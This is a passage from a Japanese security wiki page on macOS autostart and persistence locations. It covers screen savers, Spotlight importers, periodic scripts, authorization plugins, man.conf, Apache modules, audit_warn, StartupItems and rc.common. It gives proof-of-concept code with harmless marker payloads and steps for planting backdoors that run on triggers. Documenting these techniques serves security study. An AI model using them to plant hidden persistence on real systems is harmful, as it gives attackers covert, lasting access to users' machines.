pluginkit -a /Applications/FindIt.app/Contents/PlugIns/FindItSync.appex
pluginkit -e use -i com.example.InSync.InSync

スクリーンセーバー

解説: https://theevilbit.github.io/beyond/beyond_0016/
解説: https://posts.specterops.io/saving-your-access-d562bf5bf90b

  • サンドボックスをバイパスするのに便利: 🟠
  • ただし、一般的なアプリケーションのサンドボックスになります

場所

  • /System/Library/Screen Savers
  • ルート権限が必要
  • トリガー: スクリーンセーバーを選択する
  • /Library/Screen Savers
  • ルート権限が必要
  • トリガー: スクリーンセーバーを選択する
  • ~/Library/Screen Savers
  • トリガー: スクリーンセーバーを選択する

説明と攻撃手法

Xcodeで新しいプロジェクトを作成し、新しいスクリーンセーバーを生成するためのテンプレートを選択します。次に、ログを生成するための以下のコードなどを追加します。

ビルドし、.saverバンドルを**~/Library/Screen Savers**にコピーします。その後、スクリーンセーバーGUIを開き、クリックするだけで多くのログが生成されるはずです:

{% code overflow="wrap" %}

sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "hello_screensaver"'

Timestamp                       (process)[PID]
2023-09-27 22:55:39.622369+0200  localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver void custom(int, const char **)
2023-09-27 22:55:39.622623+0200  localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver -[ScreenSaverExampleView initWithFrame:isPreview:]
2023-09-27 22:55:39.622704+0200  localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver -[ScreenSaverExampleView hasConfigureSheet]

{% endcode %}

{% hint style="danger" %} このコードを読み込むバイナリ(/System/Library/Frameworks/ScreenSaver.framework/PlugIns/legacyScreenSaver.appex/Contents/MacOS/legacyScreenSaver)の権限情報には、**com.apple.security.app-sandbox**が含まれているため、一般的なアプリケーションのサンドボックス内にいることに注意してください。 {% endhint %}

セーバーコード:

//
//  ScreenSaverExampleView.m
//  ScreenSaverExample
//
//  Created by Carlos Polop on 27/9/23.
//

#import "ScreenSaverExampleView.h"

@implementation ScreenSaverExampleView

- (instancetype)initWithFrame:(NSRect)frame isPreview:(BOOL)isPreview
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
self = [super initWithFrame:frame isPreview:isPreview];
if (self) {
[self setAnimationTimeInterval:1/30.0];
}
return self;
}

- (void)startAnimation
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
[super startAnimation];
}

- (void)stopAnimation
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
[super stopAnimation];
}

- (void)drawRect:(NSRect)rect
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
[super drawRect:rect];
}

- (void)animateOneFrame
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
return;
}

- (BOOL)hasConfigureSheet
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
return NO;
}

- (NSWindow*)configureSheet
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
return nil;
}

__attribute__((constructor))
void custom(int argc, const char **argv) {
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
}

@end

スポットライトプラグイン

サンドボックスをバイパスするのに便利: 🟠

  • ただし、アプリケーションのサンドボックスに入ります

場所

  • ~/Library/Spotlight/
  • トリガー: スポットライトプラグインが管理する拡張子を持つ新しいファイルが作成されるとき
  • /Library/Spotlight/
  • トリガー: スポットライトプラグインが管理する拡張子を持つ新しいファイルが作成されるとき
  • ルート権限が必要です
  • /System/Library/Spotlight/
  • トリガー: スポットライトプラグインが管理する拡張子を持つ新しいファイルが作成されるとき
  • ルート権限が必要です
  • Some.app/Contents/Library/Spotlight/
  • トリガー: スポットライトプラグインが管理する拡張子を持つ新しいファイルが作成されるとき
  • 新しいアプリが必要です

説明と攻撃手法

スポットライトは、macOSの組み込みの検索機能であり、ユーザーがコンピュータ上のデータに迅速かつ包括的にアクセスできるように設計されています。
この迅速な検索機能を実現するために、スポットライトは専用のデータベースを維持し、ほとんどのファイルを解析してインデックスを作成し、ファイル名とその内容の両方を素早く検索することができます。

スポットライトの基本的なメカニズムは、'mds'という中央プロセスによって実現されており、これは**'メタデータサーバ'の略です。このプロセスはスポットライトサービス全体を統括しています。これに加えて、複数の'mdworker'デーモンがあり、さまざまなメンテナンスタスクを実行します(ps -ef | grep mdworkerで確認できます)。これらのタスクは、スポットライトのインポータープラグインまたは".mdimporterバンドル"**によって可能になり、さまざまなファイル形式のコンテンツを理解してインデックス化することができます。

プラグインまたは**.mdimporterバンドルは、前述の場所に配置されており、新しいバンドルが現れるとすぐにロードされます(サービスの再起動は不要です)。これらのバンドルは、管理できるファイルタイプと拡張子**を示さなければなりません。このようにして、スポットライトは、指定された拡張子を持つ新しいファイルが作成されたときにこれらのバンドルを使用します。

すべてのロードされたmdimporterを見つけるには、次を実行します:

mdimport -L
Paths: id(501) (
"/System/Library/Spotlight/iWork.mdimporter",
"/System/Library/Spotlight/iPhoto.mdimporter",
"/System/Library/Spotlight/PDF.mdimporter",
[...]

例えば、/Library/Spotlight/iBooksAuthor.mdimporterは、これらの種類のファイル(拡張子.ibaおよび.bookなど)を解析するために使用されます。

plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist

[...]
"CFBundleDocumentTypes" => [
0 => {
"CFBundleTypeName" => "iBooks Author Book"
"CFBundleTypeRole" => "MDImporter"
"LSItemContentTypes" => [
0 => "com.apple.ibooksauthor.book"
1 => "com.apple.ibooksauthor.pkgbook"
2 => "com.apple.ibooksauthor.template"
3 => "com.apple.ibooksauthor.pkgtemplate"
]
"LSTypeIsPackage" => 0
}
]
[...]
=> {
"UTTypeConformsTo" => [
0 => "public.data"
1 => "public.composite-content"
]
"UTTypeDescription" => "iBooks Author Book"
"UTTypeIdentifier" => "com.apple.ibooksauthor.book"
"UTTypeReferenceURL" => "http://www.apple.com/ibooksauthor"
"UTTypeTagSpecification" => {
"public.filename-extension" => [
0 => "iba"
1 => "book"
]
}
}
[...]

{% hint style="danger" %} 他のmdimporterのPlistをチェックしても、**UTTypeConformsTo**のエントリは見つかりません。これは組み込みの_Uniform Type Identifiers_UTI)であり、拡張子を指定する必要はありません。

さらに、システムのデフォルトプラグインは常に優先されるため、攻撃者はAppleのmdimportersによってインデックス化されないファイルにのみアクセスできます。 {% endhint %}

独自のインポータを作成するには、このプロジェクトを使用して開始できます:https://github.com/megrimm/pd-spotlight-importer そして、名前を変更し、**CFBundleDocumentTypesを変更し、UTImportedTypeDeclarationsを追加して、サポートする拡張子をサポートし、schema.xmlでそれらを反映させます。
次に、関数
GetMetadataForFile**のコードを変更して、処理された拡張子を持つファイルが作成されたときにペイロードを実行します。

最後に、新しい.mdimporterを3つの場所のいずれかにビルドしてコピーし、ログを監視するか、**mdimport -L.**をチェックしてロードされているかどうかを確認できます。

Preference Pane

{% hint style="danger" %} これはもう機能していないようです。 {% endhint %}

解説:https://theevilbit.github.io/beyond/beyond_0009/

  • サンドボックス回避に便利:🟠
  • 特定のユーザーアクションが必要です

場所

  • /System/Library/PreferencePanes
  • /Library/PreferencePanes
  • ~/Library/PreferencePanes

説明

これはもう機能していないようです。

Root Sandbox Bypass

{% hint style="success" %} ここでは、サンドボックス回避に役立つスタート位置を見つけることができます。これにより、ルートで何かをファイルに書き込むだけで実行したり、他の奇妙な条件を必要としたりすることができます。 {% endhint %}

Periodic

解説:https://theevilbit.github.io/beyond/beyond_0019/

  • サンドボックス回避に便利:🟠
  • ただし、ルートである必要があります

場所

  • /etc/periodic/daily/etc/periodic/weekly/etc/periodic/monthly/usr/local/etc/periodic
  • ルートが必要です
  • トリガー:時間が来たとき
  • /etc/daily.local/etc/weekly.local、または/etc/monthly.local
  • ルートが必要です
  • トリガー:時間が来たとき

説明と攻撃手法

定期的なスクリプト(/etc/periodic)は、/System/Library/LaunchDaemons/com.apple.periodic*に設定されたランチデーモンのために実行されます。/etc/periodic/に保存されたスクリプトは、ファイルの所有者として実行されるため、潜在的な特権エスカレーションには機能しません。

{% code overflow="wrap" %}

# Launch daemons that will execute the periodic scripts
ls -l /System/Library/LaunchDaemons/com.apple.periodic*
-rw-r--r--  1 root  wheel  887 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-daily.plist
-rw-r--r--  1 root  wheel  895 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-monthly.plist
-rw-r--r--  1 root  wheel  891 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-weekly.plist

# The scripts located in their locations
ls -lR /etc/periodic
total 0
drwxr-xr-x  11 root  wheel  352 May 13 00:29 daily
drwxr-xr-x   5 root  wheel  160 May 13 00:29 monthly
drwxr-xr-x   3 root  wheel   96 May 13 00:29 weekly

/etc/periodic/daily:
total 72
-rwxr-xr-x  1 root  wheel  1642 May 13 00:29 110.clean-tmps
-rwxr-xr-x  1 root  wheel   695 May 13 00:29 130.clean-msgs
[...]

/etc/periodic/monthly:
total 24
-rwxr-xr-x  1 root  wheel   888 May 13 00:29 199.rotate-fax
-rwxr-xr-x  1 root  wheel  1010 May 13 00:29 200.accounting
-rwxr-xr-x  1 root  wheel   606 May 13 00:29 999.local

/etc/periodic/weekly:
total 8
-rwxr-xr-x  1 root  wheel  620 May 13 00:29 999.local

{% endcode %}

他にも、実行される定期的なスクリプトがあります。これは /etc/defaults/periodic.conf に示されています。

grep "Local scripts" /etc/defaults/periodic.conf
daily_local="/etc/daily.local"				# Local scripts
weekly_local="/etc/weekly.local"			# Local scripts
monthly_local="/etc/monthly.local"			# Local scripts

PAM

Writeup: Linux Hacktricks PAM
Writeup: https://theevilbit.github.io/beyond/beyond_0005/

  • サンドボックスをバイパスするのに便利: 🟠
  • ただし、root権限が必要です

場所

  • 常にroot権限が必要です

説明と攻撃手法

PAMはmacOS内での簡単な実行よりも持続性とマルウェアに焦点を当てているため、このブログでは詳細な説明は行いません。このテクニックをよりよく理解するためには、上記の解説を読んでください。

Authorization Plugins

Writeup: https://theevilbit.github.io/beyond/beyond_0028/
Writeup: https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65

  • サンドボックスをバイパスするのに便利: 🟠
  • ただし、root権限が必要で、追加の設定が必要です

場所

  • /Library/Security/SecurityAgentPlugins/
  • root権限が必要です
  • 認証データベースをプラグインを使用するように設定する必要もあります

説明と攻撃手法

ユーザーがログインする際に実行される認証プラグインを作成して、持続性を維持することができます。これらのプラグインの作成方法についての詳細は、以前の解説を参照してください注意不適切に作成されたプラグインはロックアウトの原因となり、リカバリーモードからMacをクリーンアップする必要があります

Man.conf

Writeup: https://theevilbit.github.io/beyond/beyond_0030/

  • サンドボックスをバイパスするのに便利: 🟠
  • ただし、root権限が必要で、ユーザーはmanを使用する必要があります

場所

  • /private/etc/man.conf
  • root権限が必要です
  • /private/etc/man.conf: manが使用されるたびに

説明と攻撃手法

設定ファイル**/private/etc/man.conf**は、manドキュメントファイルを開く際に使用するバイナリ/スクリプトを示しています。したがって、実行可能ファイルのパスを変更することで、ユーザーがmanを使用してドキュメントを読むたびにバックドアが実行されるようにすることができます。

例えば、**/private/etc/man.conf**に設定を行います。

MANPAGER /tmp/view

次に、/tmp/viewを以下のように作成します:

#!/bin/zsh

touch /tmp/manconf

/usr/bin/less -s

Apache2

解説: https://theevilbit.github.io/beyond/beyond_0023/

  • サンドボックスをバイパスするのに便利: 🟠
  • ただし、rootである必要があり、apacheが実行中である必要があります

場所

  • /etc/apache2/httpd.conf
  • root権限が必要
  • トリガー: Apache2が起動したとき

説明とエクスプロイト

/etc/apache2/httpd.confにモジュールを読み込むように指示するために、次のような行を追加することができます:

{% code overflow="wrap" %}

LoadModule my_custom_module /Users/Shared/example.dylib "My Signature Authority"

{% endcode %}

この方法で、コンパイルされたモジュールはApacheによって読み込まれます。ただし、有効なApple証明書で署名するか、システムに新しい信頼できる証明書を追加してそれで署名する必要があります。

その後、サーバーが起動することを確認するために必要な場合は、次のコマンドを実行できます。

sudo launchctl load -w /System/Library/LaunchDaemons/org.apache.httpd.plist

Dylbのコード例

#include <stdio.h>
#include <syslog.h>

__attribute__((constructor))
static void myconstructor(int argc, const char **argv)
{
printf("[+] dylib constructor called from %s\n", argv[0]);
syslog(LOG_ERR, "[+] dylib constructor called from %s\n", argv[0]);
}

BSM監査フレームワーク

解説: https://theevilbit.github.io/beyond/beyond_0031/

  • サンドボックスをバイパスするのに便利: 🟠
  • ただし、ルート権限が必要で、auditdが実行されている必要があり、警告を引き起こす必要があります

場所

  • /etc/security/audit_warn
  • ルート権限が必要
  • トリガー: auditdが警告を検出した場合

説明とエクスプロイト

auditdが警告を検出すると、スクリプト**/etc/security/audit_warn実行**されます。したがって、ペイロードを追加することができます。

echo "touch /tmp/auditd_warn" >> /etc/security/audit_warn

sudo audit -nを使用して警告を強制することができます。

スタートアップアイテム

{% hint style="danger" %} これは非推奨ですので、以下のディレクトリには何も見つかりません。 {% endhint %}

StartupItemは、次の2つのフォルダのいずれかに配置されるディレクトリです。/Library/StartupItems/または/System/Library/StartupItems/

これらの2つの場所のいずれかに新しいディレクトリを配置した後、そのディレクトリ内に2つのアイテムをさらに配置する必要があります。これらの2つのアイテムは、rcスクリプトといくつかの設定を保持するplistです。このplistは「StartupParameters.plist」と呼ばれる必要があります。

{% tabs %} {% tab title="StartupParameters.plist" %}

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Description</key>
<string>This is a description of this service</string>
<key>OrderPreference</key>
<string>None</string> <!--Other req services to execute before this -->
<key>Provides</key>
<array>
<string>superservicename</string> <!--Name of the services provided by this file -->
</array>
</dict>
</plist>

{% tab title="superservicename" %}スーパーサービス名

#!/bin/sh
. /etc/rc.common

StartService(){
touch /tmp/superservicestarted
}

StopService(){
rm /tmp/superservicestarted
}

RestartService(){
echo "Restarting"
}

RunService "$1"

{% endtab %} {% endtabs %}

emond

{% hint style="danger" %} 私のmacOSにはこのコンポーネントが見つかりませんので、詳細についてはwriteupを確認してください。 {% endhint %}

Writeup: https://theevilbit.github.io/beyond/beyond_0023/

Appleはemondというログ記録メカニズムを導入しました。これは完全に開発されなかったようで、Appleは他のメカニズムのために開発を放棄した可能性がありますが、それは利用可能なままです。

このあまり知られていないサービスは、Macの管理者にはあまり役に立たないかもしれませんが、脅威の存在する者にとっては、macOSの管理者がおそらく調べることを知らない永続化メカニズムとして使用する非常に良い理由となるでしょう。 emondの悪用を検出することは難しくありません。なぜなら、サービスのためのシステムランチデーモンは、スクリプトを実行する場所を1つだけ探すからです。

ls -l /private/var/db/emondClients

XQuartz

Writeup: https://theevilbit.github.io/beyond/beyond_0018/

場所

  • /opt/X11/etc/X11/xinit/privileged_startx.d
  • ルート権限が必要
  • トリガー: XQuartzを使用する場合

説明とエクスプロイト

XQuartzはもはやmacOSにインストールされていないため、詳細についてはwriteupを確認してください。

kext

{% hint style="danger" %} ルートとしてkextをインストールするのは非常に複雑なので、サンドボックスからの脱出や持続性のためには考慮しないでくださいエクスプロイトがある場合を除く {% endhint %}

場所

KEXTを起動アイテムとしてインストールするには、次のいずれかの場所にインストールする必要があります

  • /System/Library/Extensions
  • OS Xオペレーティングシステムに組み込まれたKEXTファイル
  • /Library/Extensions
  • サードパーティのソフトウェアによってインストールされたKEXTファイル

現在ロードされているkextファイルをリストアップするには、次のコマンドを使用します

kextstat #List loaded kext
kextload /path/to/kext.kext #Load a new one based on path
kextload -b com.apple.driver.ExampleBundle #Load a new one based on path
kextunload /path/to/kext.kext
kextunload -b com.apple.driver.ExampleBundle

詳細については、カーネル拡張に関するこのセクションを参照してください。

amstoold

解説: https://theevilbit.github.io/beyond/beyond_0029/

場所

  • /usr/local/bin/amstoold
  • ルート権限が必要です

説明と攻撃手法

おそらく、/System/Library/LaunchAgents/com.apple.amstoold.plistplistがこのバイナリを使用していましたが、バイナリ自体は存在しなかったため、そこに何かを配置することができ、XPCサービスが呼び出されるときにバイナリが呼び出されます。

私のmacOSではこれを見つけることができません。

xsanctl

解説: https://theevilbit.github.io/beyond/beyond_0015/

場所

  • /Library/Preferences/Xsan/.xsanrc
  • ルート権限が必要です
  • トリガー: サービスが実行されるとき(まれ)

説明と攻撃手法

このスクリプトを実行することはあまり一般的ではないようで、私のmacOSでも見つけることができませんでしたので、詳細については解説をご覧ください。

/etc/rc.common

{% hint style="danger" %} これは最新のMacOSバージョンでは機能しません {% endhint %}

ここには、起動時に実行されるコマンドを配置することもできます。 通常のrc.commonスクリプトの例:

#
# Common setup for startup scripts.
#
# Copyright 1998-2002 Apple Computer, Inc.
#

######################
# Configure the shell #
######################

#
# Be strict
#
#set -e
set -u

#
# Set command search path
#
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/libexec:/System/Library/CoreServices; export PATH

#
# Set the terminal mode
#
#if [ -x /usr/bin/tset ] && [ -f /usr/share/misc/termcap ]; then
#    TERM=$(tset - -Q); export TERM
#fi

###################
# Useful functions #
###################

#
# Determine if the network is up by looking for any non-loopback
# internet network interfaces.
#
CheckForNetwork()
{
local test

if [ -z "${NETWORKUP:=}" ]; then
test=$(ifconfig -a inet 2>/dev/null | sed -n -e '/127.0.0.1/d' -e '/0.0.0.0/d' -e '/inet/p' | wc -l)
if [ "${test}" -gt 0 ]; then
NETWORKUP="-YES-"
else
NETWORKUP="-NO-"
fi
fi
}

alias ConsoleMessage=echo

#
# Process management
#
GetPID ()
{
local program="$1"
local pidfile="${PIDFILE:=/var/run/${program}.pid}"
local     pid=""

if [ -f "${pidfile}" ]; then
pid=$(head -1 "${pidfile}")
if ! kill -0 "${pid}" 2> /dev/null; then
echo "Bad pid file $pidfile; deleting."
pid=""
rm -f "${pidfile}"
fi
fi

if [ -n "${pid}" ]; then
echo "${pid}"
return 0
else
return 1
fi
}

#
# Generic action handler
#
RunService ()
{
case $1 in
start  ) StartService   ;;
stop   ) StopService    ;;
restart) RestartService ;;
*      ) echo "$0: unknown argument: $1";;
esac
}

持続性の技術とツール

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥